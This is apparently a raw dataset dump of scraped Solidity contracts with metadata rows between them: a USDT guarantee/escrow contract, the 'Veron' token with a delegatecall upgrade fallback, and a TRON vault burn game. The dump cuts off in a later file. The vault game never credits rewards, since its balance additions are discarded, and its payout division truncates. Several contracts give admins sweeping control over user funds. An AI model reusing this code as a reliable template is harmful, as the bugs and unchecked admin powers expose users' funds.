onlyGuarantorSelf(_guarantorIndex) onlyNotProcessingGuaranteeAmount(_guarantorIndex) onlyNotLocked(_guarantorIndex) { require(guarantorInfos[_guarantorIndex].collateral >= _amount, "Withdraw amount should be less than guarantor's fund."); _processWithdraw(_to, _amount); guarantorInfos[_guarantorIndex].collateral -= _amount; emit GuarantorWithdraw(_guarantorIndex, _to, _amount, block.timestamp); } function lockGuarantor(uint256 _guarantorIndex) external onlyAdmin { guarantorStates[_guarantorIndex] = GuarantorState.locked; emit LockGuarantor(_guarantorIndex, block.timestamp); } function unlockGuarantor(uint256 _guarantorIndex) external onlyAdmin { guarantorStates[_guarantorIndex] = GuarantorState.notLocked; emit UnlockGuarantor(_guarantorIndex, block.timestamp); } function collateralIntervene(uint256 _guarantorIndex, address _to, uint256 _amount) external onlyAdmin onlyLocked(_guarantorIndex) { require(guarantorInfos[_guarantorIndex].collateral >= _amount, "Withdraw amount should be less than guarantor's fund."); _processWithdraw(_to, _amount); guarantorInfos[_guarantorIndex].collateral -= _amount; emit InterveneCollateral(_guarantorIndex, _to, _amount, block.timestamp); } function changeAdmin(address nextAdmin) external onlyAdmin { admin = nextAdmin; } function pause() external onlyAdmin { _pause(); } function unpause() external onlyAdmin { _unpause(); } } struct GuaranteeInfo { uint256 guarantorIndex; address demandA; address demandB; uint256 fund; uint32 feePercentLimit; string content; } abstract contract Guarantee is Guarantor { uint256 public guaranteeIndex; GuaranteeInfo[] public guarantees; constructor() Guarantor() { guaranteeIndex = 1; guarantees.push(GuaranteeInfo({ guarantorIndex: 0, demandA: address(0), demandB: address(0), fund: 0, feePercentLimit: 0, content: "" })); } event GuaranteeRegister(uint256 indexed guaranteeIndex, uint256 guarantorIndex, address demandA, address demandB, uint32 feePercentLimit, string content, uint256 timestamp); event GuaranteeDeposit(uint256 indexed guaranteeIndex, address from, uint256 amount, uint256 timestamp); event GuaranteeWithdraw(uint256 indexed guaranteeIndex, uint256 amountToA, uint256 amountToB, uint32 feePercent, string info, uint256 timestamp); event InterveneGuarantee(uint256 indexed guaranteeIndex, uint256 amountToA, uint256 amountToB, uint32 feePercent, string info, uint256 timestamp); function guaranteeRegister(uint256 _guarantorIndex, address _demandA, address _demandB, uint32 _feePercentLimit, string calldata _content) external whenNotPaused onlyGuarantorSelf(_guarantorIndex) onlyNotLocked(_guarantorIndex) { require(_feePercentLimit > 0 && _feePercentLimit < 100, "Invalid fee percent limit"); guarantees.push(GuaranteeInfo({ guarantorIndex: _guarantorIndex, demandA: _demandA, demandB: _demandB, fund: 0, feePercentLimit: _feePercentLimit, content: _content })); emit GuaranteeRegister(guaranteeIndex, _guarantorIndex, _demandA, _demandB, _feePercentLimit, _content, block.timestamp); guaranteeIndex++; } function guaranteeDeposit(uint256 _guaranteeIndex, uint256 _amount) external payable whenNotPaused { require(_guaranteeIndex < guaranteeIndex, "Invalid guarantee index"); guarantees[_guaranteeIndex].fund += _amount; guarantorInfos[guarantees[_guaranteeIndex].guarantorIndex].processingGuaranteeAmount += _amount; _processDeposit(_amount); emit GuaranteeDeposit(_guaranteeIndex, msg.sender, _amount, block.timestamp); } function guaranteeWithdraw(uint256 _guaranteeIndex, uint256 _guarantorIndex, uint256 _amountToA, uint256 _amountToB, uint32 _feePercent, string calldata _info) external whenNotPaused onlyGuarantorSelf(_guarantorIndex) onlyNotLocked(_guarantorIndex) { require(guarantees[_guaranteeIndex].guarantorIndex == _guarantorIndex, "Invalid guarantor index"); require(_amountToA + _amountToB <= guarantees[_guaranteeIndex].fund, "Insufficient fund"); require(_feePercent <= guarantees[_guaranteeIndex].feePercentLimit, "Invalid fee percent"); uint256 processingAmount = _amountToA + _amountToB; guarantees[_guaranteeIndex].fund -= processingAmount; uint256 feeA = _amountToA * uint256(_feePercent) / 100; uint256 feeB = _amountToB * uint256(_feePercent) / 100; guarantorInfos[_guarantorIndex].processingGuaranteeAmount -= processingAmount; _processWithdraw(guarantees[_guaranteeIndex].demandA, _amountToA - feeA); _processWithdraw(guarantees[_guaranteeIndex].demandB, _amountToB - feeB); _processWithdraw(msg.sender, feeA + feeB); emit GuaranteeWithdraw(_guaranteeIndex, _amountToA, _amountToB, _feePercent, _info, block.timestamp); } function interveneGuarantee(uint256 _guaranteeIndex, uint256 _amountToA, uint256 _amountToB, uint32 _feePercent, string calldata _info) external onlyAdmin { require(_guaranteeIndex < guaranteeIndex, "Invalid guarantee index"); require(_amountToA + _amountToB <= guarantees[_guaranteeIndex].fund, "Insufficient fund"); require(_feePercent <= guarantees[_guaranteeIndex].feePercentLimit, "Invalid fee percent"); uint256 processingAmount = _amountToA + _amountToB; guarantees[_guaranteeIndex].fund -= processingAmount; uint256 feeA = _amountToA * uint256(_feePercent) / 100; uint256 feeB = _amountToB * uint256(_feePercent) / 100; guarantorInfos[guarantees[_guaranteeIndex].guarantorIndex].processingGuaranteeAmount -= processingAmount; _processWithdraw(guarantees[_guaranteeIndex].demandA, _amountToA - feeA); _processWithdraw(guarantees[_guaranteeIndex].demandB, _amountToB - feeB); _processWithdraw(msg.sender, feeA + feeB); emit InterveneGuarantee(_guaranteeIndex, _amountToA, _amountToB, _feePercent, _info, block.timestamp); } function guaranteeIndexesOfDemand(address _demand) external view returns(uint256[] memory guaranteeIndexes) { uint256 guaranteeCount = 0; for(uint256 _guaranteeIndex = 1; _guaranteeIndex < guaranteeIndex; _guaranteeIndex++) { if(guarantees[_guaranteeIndex].demandA == _demand || guarantees[_guaranteeIndex].demandB == _demand){ guaranteeCount++; } } uint256[] memory result = new uint256[](guaranteeCount); guaranteeCount = 0; for(uint256 _guaranteeIndex = 1; _guaranteeIndex < guaranteeIndex; _guaranteeIndex++) { if(guarantees[_guaranteeIndex].demandA == _demand || guarantees[_guaranteeIndex].demandB == _demand){ result[guaranteeCount++] = _guaranteeIndex; } } return result; } function guaranteeIndexesOfGuarantor(uint256 _guarantorIndex) external view returns(uint256[] memory guaranteeIndexes) { uint256 guaranteeCount = 0; for(uint256 _guaranteeIndex = 1; _guaranteeIndex < guaranteeIndex; _guaranteeIndex++) { if(guarantees[_guaranteeIndex].guarantorIndex == _guarantorIndex){ guaranteeCount++; } } uint256[] memory result = new uint256[](guaranteeCount); guaranteeCount = 0; for(uint256 _guaranteeIndex = 1; _guaranteeIndex < guaranteeIndex; _guaranteeIndex++) { if(guarantees[_guaranteeIndex].guarantorIndex == _guarantorIndex){ result[guaranteeCount++] = _guaranteeIndex; } } return result; } } contract USDTGuarantee is Guarantee { using SafeERC20 for IERC20; IERC20 public token; constructor() Guarantee() { token = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7); } function _processDeposit(uint256 amount) internal override { require(msg.value == 0, "ETH value is supposed to be 0 for ERC20 instance"); token.safeTransferFrom(msg.sender, address(this), amount); } function _processWithdraw(address to, uint256 amount) internal override { token.safeTransfer(to, amount); } }
275,044
12,014
a4eafb38d9643f684a85dfe1f4eb7d113fc8323d9f47b910a4d66ea1d18780e4
20,462
.sol
Solidity
false
519123139
JolyonJian/contracts
b48d691ba0c2bfb014a03e2b15bf7faa40900020
contracts/5329_15720_0x938f66735c6b4f99ee51e657d51e86c2847788cb.sol
3,513
13,699
pragma solidity ^0.5.0; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; newOwner = address(0); } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyNewOwner() { require(msg.sender != address(0)); require(msg.sender == newOwner); _; } function isOwner(address account) public view returns (bool) { if(account == owner){ return true; } else { return false; } } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); newOwner = _newOwner; } function acceptOwnership() public onlyNewOwner returns(bool) { emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract PauserRole is Ownable{ using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; constructor () internal { _addPauser(msg.sender); } modifier onlyPauser() { require(isPauser(msg.sender)|| isOwner(msg.sender)); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function removePauser(address account) public onlyOwner { _removePauser(account); } function renouncePauser() public { _removePauser(msg.sender); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } } contract Pausable is PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } function paused() public view returns (bool) { return _paused; } modifier whenNotPaused() { require(!_paused); _; } modifier whenPaused() { require(_paused); _; } function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } } interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } contract Veron is ERC20Detailed, ERC20Pausable { struct LockInfo { uint256 _releaseTime; uint256 _amount; } address public implementation; mapping (address => LockInfo[]) public timelockList; mapping (address => bool) public frozenAccount; event Freeze(address indexed holder); event Unfreeze(address indexed holder); event Lock(address indexed holder, uint256 value, uint256 releaseTime); event Unlock(address indexed holder, uint256 value); modifier notFrozen(address _holder) { require(!frozenAccount[_holder]); _; } constructor() ERC20Detailed("VERON", "VREX", 18) public { _mint(msg.sender, 30000000000 * (10 ** 18)); } function balanceOf(address owner) public view returns (uint256) { uint256 totalBalance = super.balanceOf(owner); if(timelockList[owner].length >0){ for(uint i=0; i<timelockList[owner].length;i++){ totalBalance = totalBalance.add(timelockList[owner][i]._amount); } } return totalBalance; } function transfer(address to, uint256 value) public notFrozen(msg.sender) returns (bool) { if (timelockList[msg.sender].length > 0) { _autoUnlock(msg.sender); } return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public notFrozen(from) returns (bool) { if (timelockList[from].length > 0) { _autoUnlock(from); } return super.transferFrom(from, to, value); } function freezeAccount(address holder) public onlyPauser returns (bool) { require(!frozenAccount[holder]); frozenAccount[holder] = true; emit Freeze(holder); return true; } function unfreezeAccount(address holder) public onlyPauser returns (bool) { require(frozenAccount[holder]); frozenAccount[holder] = false; emit Unfreeze(holder); return true; } function lock(address holder, uint256 value, uint256 releaseTime) public onlyPauser returns (bool) { require(_balances[holder] >= value,"There is not enough balances of holder."); _lock(holder,value,releaseTime); return true; } function transferWithLock(address holder, uint256 value, uint256 releaseTime) public onlyPauser returns (bool) { _transfer(msg.sender, holder, value); _lock(holder,value,releaseTime); return true; } function unlock(address holder, uint256 idx) public onlyPauser returns (bool) { require(timelockList[holder].length > idx, "There is not lock info."); _unlock(holder,idx); return true; } function upgradeTo(address _newImplementation) public onlyOwner { require(implementation != _newImplementation); _setImplementation(_newImplementation); } function _lock(address holder, uint256 value, uint256 releaseTime) internal returns(bool) { _balances[holder] = _balances[holder].sub(value); timelockList[holder].push(LockInfo(releaseTime, value)); emit Lock(holder, value, releaseTime); return true; } function _unlock(address holder, uint256 idx) internal returns(bool) { LockInfo storage lockinfo = timelockList[holder][idx]; uint256 releaseAmount = lockinfo._amount; delete timelockList[holder][idx]; timelockList[holder][idx] = timelockList[holder][timelockList[holder].length.sub(1)]; timelockList[holder].length -=1; emit Unlock(holder, releaseAmount); _balances[holder] = _balances[holder].add(releaseAmount); return true; } function _autoUnlock(address holder) internal returns(bool) { for(uint256 idx =0; idx < timelockList[holder].length ; idx++) { if (timelockList[holder][idx]._releaseTime <= now) { // If lockupinfo was deleted, loop restart at same position. if(_unlock(holder, idx)) { idx -=1; } } } return true; } function _setImplementation(address _newImp) internal { implementation = _newImp; } function () payable external { address impl = implementation; require(impl != address(0)); assembly { let ptr := mload(0x40) calldatacopy(ptr, 0, calldatasize) let result := delegatecall(gas, impl, ptr, calldatasize, 0, 0) let size := returndatasize returndatacopy(ptr, 0, size) switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } }
229,915
12,015
9af1578465c5a8eec58a967355587881bb2b7afa39d1fab0b00a93309072d499
22,645
.sol
Solidity
false
453466497
tintinweb/smart-contract-sanctuary-tron
44b9f519dbeb8c3346807180c57db5337cf8779b
contracts/mainnet/TF/TF8deaKwKqJJbMYTwU9f3CVQbrGVGKqq9n_vaultGame.sol
4,485
17,373
//SourceUnit: vault.sol pragma solidity 0.4.25; // //------------------------ SafeMath Library -------------------------// // library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // //------------------ Contract to Manage Ownership -------------------// // contract owned { address public owner; address public newOwner; address public signer; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; signer = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } modifier onlySigner { require(msg.sender == signer); _; } function changeSigner(address _signer) public onlyOwner { signer = _signer; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } //this flow is to prevent transferring ownership to wrong wallet by mistake function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // //--------------------- GAMES CONTRACT INTERFACE ---------------------// // interface InterfaceGAMES { function getAvailableVaultRake() external returns (uint256); function requestVaultRakePayment() external returns(bool); } interface ERC20Essential { function displayAvailableDividendALL() external returns (bool, uint256); function distributeMainDividend() external returns(uint256); function getDividendConfirmed(address user) external view returns (uint256); function withdrawDividend() external returns(bool); function balanceOf(address tokenOwner) external view returns (uint balance); function burnVoucher(uint256 _value, uint8 mintShareStatus, address _user) external returns (bool success); } contract vaultGame is owned { constructor () public { } // Public variables of the token using SafeMath for uint256; uint256 public minimumVoucherToBurn; // minimum amount required to burning for effective on time uint256 public burnIncreasePerLevelInPercent = 10000; // 10000 = 100%, minimum amount will increase by percent on each deffined step uint256 public burnIncreaseAfterStepCount; // after this step count reached required burning will increase by given percent uint256 public gameClockSpanInSeconds=43200; // 43200 sec = 12 Hr. uint256 public burnPushInSecond=30; // Will push 30 second on each burn uint256 public secondPushDecreasePerLevel=1; // Will decrease seconds (like lavel 1 = 30 Sec, lavel 2 = 29 Sec, lavel 3 = 28 Sec) uint256 public gameTimer; // will keep the finished time of the game uint256 public burnCounter; // counting of only effective burn from the start of game session uint256 public totalVoucherBurnt; //count total effective vaucher burnt for one game session bool public nextGameAutoStart; mapping (address => bool) public globalToken; // The very voucher token only allowed to play here admin need to set // This creates a mapping with all data storage mapping (address => bool) public whitelistCaller; address[] public whitelistCallerArray; mapping (address => uint256) internal whitelistCallerArrayIndex; uint256 public dividendAccumulated; uint256 public divPercentageSUN = 100000000; //100% of dividend distributed //distribution %age dynamically assigned by admin uint256 toLastBurnerPercent = 2500; // 25% uint256 toSenondLastBurnerPercent = 1500; // 15% uint256 toThirdLastBurnerPercent = 1000; //10% uint256 toOwnerPercent = 1000; // 10% uint256 toDividendPercent = 2500; // 25% uint256 carryOverPercent = 1500; // 15% mapping(address => uint256) public userTrxBalance; uint256 public carryOverAmount; // last x % of distribution (by carryOverPercent) carrited over struct burnerInfo { address burner; //address of burner uint256 burnAmount; // and his burn amount } burnerInfo[] public burnerInfos; //Address of burner in series for one game session and his amount //Calculate percent and return result function calculatePercentage(uint256 PercentOf, uint256 percentTo) internal pure returns (uint256) { uint256 factor = 10000; require(percentTo <= factor); uint256 c = PercentOf.mul(percentTo).div(factor); return c; } function setMinimumVoucherToBurn(uint _minimumVoucherToBurn) onlyOwner public returns(bool success) { minimumVoucherToBurn = _minimumVoucherToBurn; return true; } function setBurnIncreasePerLevelInPercent(uint _burnIncreasePerLevelInPercent) onlyOwner public returns(bool success) { burnIncreasePerLevelInPercent = _burnIncreasePerLevelInPercent; return true; } function setburnIncreaseAfterStepCount(uint _burnIncreaseAfterStepCount) onlyOwner public returns(bool success) { burnIncreaseAfterStepCount = _burnIncreaseAfterStepCount; return true; } function setGameClockSpanInSeconds(uint _gameClockSpanInSeconds) onlyOwner public returns(bool success) { gameClockSpanInSeconds = _gameClockSpanInSeconds; return true; } function setNextGameAutoStart(bool _nextGameAutoStart) onlyOwner public returns(bool success) { nextGameAutoStart = _nextGameAutoStart; return true; } function setBurnPushInSecond(uint256 _burnPushInSecond) onlyOwner public returns(bool success) { burnPushInSecond = _burnPushInSecond; return true; } function setSecondPushDecreasePerLevel(uint256 _secondPushDecreasePerLevel) onlyOwner public returns(bool success) { secondPushDecreasePerLevel = _secondPushDecreasePerLevel; return true; } event setglobalTokenEv(uint256 nowTime, address tokenAddress, bool status); function setglobalToken(address _globalToken, bool _enable) onlyOwner public returns(bool success) { globalToken[_globalToken] = _enable; emit setglobalTokenEv(now, _globalToken, _enable); return true; } // ex 123= 1.23%, 10000 = 100% function setDistributionPercent(uint256 _toLastBurnerPercent, uint256 _toSenondLastBurnerPercent, uint256 _toThirdLastBurnerPercent, uint256 _toOwnerPercent, uint256 _toDividendPercent,uint256 _carryOverPercent) public onlyOwner returns(bool) { uint256 sumAll = _toLastBurnerPercent + _toSenondLastBurnerPercent + _toThirdLastBurnerPercent + _toOwnerPercent + _toDividendPercent + _carryOverPercent; require(sumAll == 10000, "sum of all is not 100%"); toLastBurnerPercent = _toLastBurnerPercent; toSenondLastBurnerPercent = _toSenondLastBurnerPercent; toThirdLastBurnerPercent = _toThirdLastBurnerPercent; toOwnerPercent = _toOwnerPercent; toDividendPercent = _toDividendPercent; carryOverPercent = _carryOverPercent; return true; } event startVaultPlayEv(address starter, uint amountBurned, uint timeNow, bool effective); function startVaultPlay(address token, uint amountToBurn) public returns(bool) { address starter = msg.sender; require(globalToken[token], "invalid token address"); require(ERC20Essential(token).balanceOf(starter)>= amountToBurn,"insufficiedt balance"); require(gameTimer == 0, "game is already on"); require(starter != address(0), "address 0 found"); require (ERC20Essential(token).burnVoucher(amountToBurn,2,starter),"burning failed"); bool success; burnerInfo memory temp; if (amountToBurn >= minimumVoucherToBurn) { gameTimer = now.add(gameClockSpanInSeconds); burnCounter = 1; totalVoucherBurnt = amountToBurn; temp.burner = starter; temp.burnAmount = amountToBurn; burnerInfos.push(temp); success = true; } emit startVaultPlayEv(starter, amountToBurn, now, success); return true; } event pushMyBurnEv(address starter, uint amountBurned, uint timeNow, bool effective); function whatIsRequiredNow() public view returns(uint256 reqAmount, uint256 secondAddOn) { uint increaseUnitAmount = calculatePercentage(minimumVoucherToBurn,burnIncreasePerLevelInPercent); uint increaseFactor = burnCounter.div(burnIncreaseAfterStepCount); uint secondDecreased = burnPushInSecond - increaseFactor; reqAmount = minimumVoucherToBurn.add(increaseUnitAmount.mul(increaseFactor)); secondAddOn = burnPushInSecond - (secondPushDecreasePerLevel * increaseFactor); require(burnPushInSecond >= secondAddOn, "no time left now"); return (reqAmount, secondAddOn); } function pushMyBurn(address token, uint amountToBurn) public returns(bool) { address callingUser = msg.sender; require(globalToken[token], "invalid token address"); require(gameTimer != 0 && gameTimer > now, "not started yet or reward distribution pending"); require(ERC20Essential(token).balanceOf(callingUser)>= amountToBurn,"insufficiedt balance"); require (ERC20Essential(token).burnVoucher(amountToBurn,2,callingUser),"burning failed"); uint increaseUnitAmount = calculatePercentage(minimumVoucherToBurn,burnIncreasePerLevelInPercent); uint increaseFactor = burnCounter.div(burnIncreaseAfterStepCount); uint requiredAmount = minimumVoucherToBurn.add(increaseUnitAmount.mul(increaseFactor)); uint secondDecreased = secondPushDecreasePerLevel * increaseFactor; require(burnPushInSecond >= secondDecreased, "no time left now"); bool success; burnerInfo memory temp; if(amountToBurn >= requiredAmount) { gameTimer = gameTimer.add(secondDecreased); burnCounter++; totalVoucherBurnt = totalVoucherBurnt.add(amountToBurn); temp.burner = callingUser; temp.burnAmount = amountToBurn; burnerInfos.push(temp); success = true; } emit pushMyBurnEv(callingUser, amountToBurn, now, success); return true; } function distributeReward(address token) onlyOwner public returns(bool) { //check before distribution or rewards require(globalToken[token], "invalid token address"); require(gameTimer > now, "game not finished yet"); require(burnerInfos.length > 0, "no player rolled"); //we will check dividends of all the game contract individually uint256 totalGameContracts = whitelistCallerArray.length; uint256 totalDividend; uint256 i; for(i=0; i < totalGameContracts; i++){ uint256 amount = InterfaceGAMES(whitelistCallerArray[i]).getAvailableVaultRake(); if(amount > 0){ require(InterfaceGAMES(whitelistCallerArray[i]).requestVaultRakePayment(), 'could not transfer trx'); totalDividend += amount; } } totalDividend += carryOverAmount; //distribution parts uint256 toLastBurner = calculatePercentage(totalDividend,toLastBurnerPercent); uint256 toSenondLastBurner = calculatePercentage(totalDividend,toSenondLastBurnerPercent); uint256 toThirdLastBurner = calculatePercentage(totalDividend,toThirdLastBurnerPercent); uint256 toOwner = calculatePercentage(totalDividend,toOwnerPercent); uint256 toDividend = calculatePercentage(totalDividend,toDividendPercent); carryOverAmount = calculatePercentage(totalDividend,carryOverPercent); uint256 lengthOf = burnerInfos.length; if (lengthOf > 0) { userTrxBalance[burnerInfos[lengthOf-1].burner].add(toLastBurner); } if (lengthOf > 1) { userTrxBalance[burnerInfos[lengthOf-2].burner].add(toSenondLastBurner); } if (lengthOf > 2) { userTrxBalance[burnerInfos[lengthOf-3].burner].add(toThirdLastBurner); } userTrxBalance[owner].add(toOwner); // to all participant uint256 hisPart; for(i=0; i < lengthOf; i++) { hisPart = burnerInfos[i].burnAmount / totalVoucherBurnt * toDividend; userTrxBalance[burnerInfos[i].burner].add(hisPart); } //Reset after distribution delete burnerInfos; burnCounter = 0; totalVoucherBurnt = 0; if(nextGameAutoStart) { gameTimer = now.add(gameClockSpanInSeconds); } else { gameTimer = 0; } return true; } function withdrawTrx(uint256 amount) public returns(bool) { address caller = msg.sender; require(amount <= userTrxBalance[caller], "not enough balance"); userTrxBalance[caller] = userTrxBalance[caller].sub(amount); caller.transfer(amount); return (true); } function viewStat() public view returns (uint256 timeLeft, address lastBurner, address secondLastBurner, address thirdLastBurner, uint256 poolSize,uint256 requiredAmountToBurn, uint256 canIncreaseSecondByBurn) { if (now < gameTimer) { timeLeft = gameTimer - now; } uint256 lengthOf = burnerInfos.length; if (lengthOf > 0) { lastBurner = burnerInfos[lengthOf-1].burner; } if (lengthOf > 1) { secondLastBurner = burnerInfos[lengthOf-2].burner; } if (lengthOf > 2) { thirdLastBurner = burnerInfos[lengthOf-3].burner; } uint256 i; for(i=0;i<lengthOf;i++) { poolSize += burnerInfos[i].burnAmount; } (requiredAmountToBurn,canIncreaseSecondByBurn) = whatIsRequiredNow(); return (timeLeft,lastBurner,secondLastBurner,thirdLastBurner,poolSize,requiredAmountToBurn,canIncreaseSecondByBurn); } function getDividendPotential() public view returns(uint256){ //we will check dividends of all the game contract individually uint256 totalGameContracts = whitelistCallerArray.length; uint256 totalDividend; for(uint i=0; i < totalGameContracts; i++){ uint256 amount = InterfaceGAMES(whitelistCallerArray[i]).getAvailableVaultRake(); if(amount > 0){ totalDividend += amount; } } if(totalDividend > 0 || dividendAccumulated > 0){ //admin can set % of dividend to be distributed. //reason for 1000000 is that divPercentageSUN was in SUN uint256 newAmount = totalDividend * divPercentageSUN / 100 / 1000000; return newAmount + dividendAccumulated; } //by default it returns zero } function addWhitelistGameAddress(address _newAddress) public onlyOwner returns(string){ require(!whitelistCaller[_newAddress], 'No same Address again'); whitelistCaller[_newAddress] = true; whitelistCallerArray.push(_newAddress); whitelistCallerArrayIndex[_newAddress] = whitelistCallerArray.length - 1; return "Whitelisting Address added"; } function removeWhitelistGameAddress(address _address) public onlyOwner returns(string){ require(_address != address(0), 'Invalid Address'); require(whitelistCaller[_address], 'This Address does not exist'); whitelistCaller[_address] = false; uint256 arrayIndex = whitelistCallerArrayIndex[_address]; address lastElement = whitelistCallerArray[whitelistCallerArray.length - 1]; whitelistCallerArray[arrayIndex] = lastElement; whitelistCallerArrayIndex[lastElement] = arrayIndex; whitelistCallerArray.length--; return "Whitelisting Address removed"; } }
295,905
12,016
6a7248cf2ed6dabcc316b74605acad36bc86603638497dbd6b7aaacb838df761
30,576
.sol
Solidity
false
454085139
tintinweb/smart-contract-sanctuary-fantom
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
contracts/mainnet/25/252C3a7dE2E4845e92a68b694340a09d0C7ADb60_Jago.sol
3,358
13,443
pragma solidity 0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= 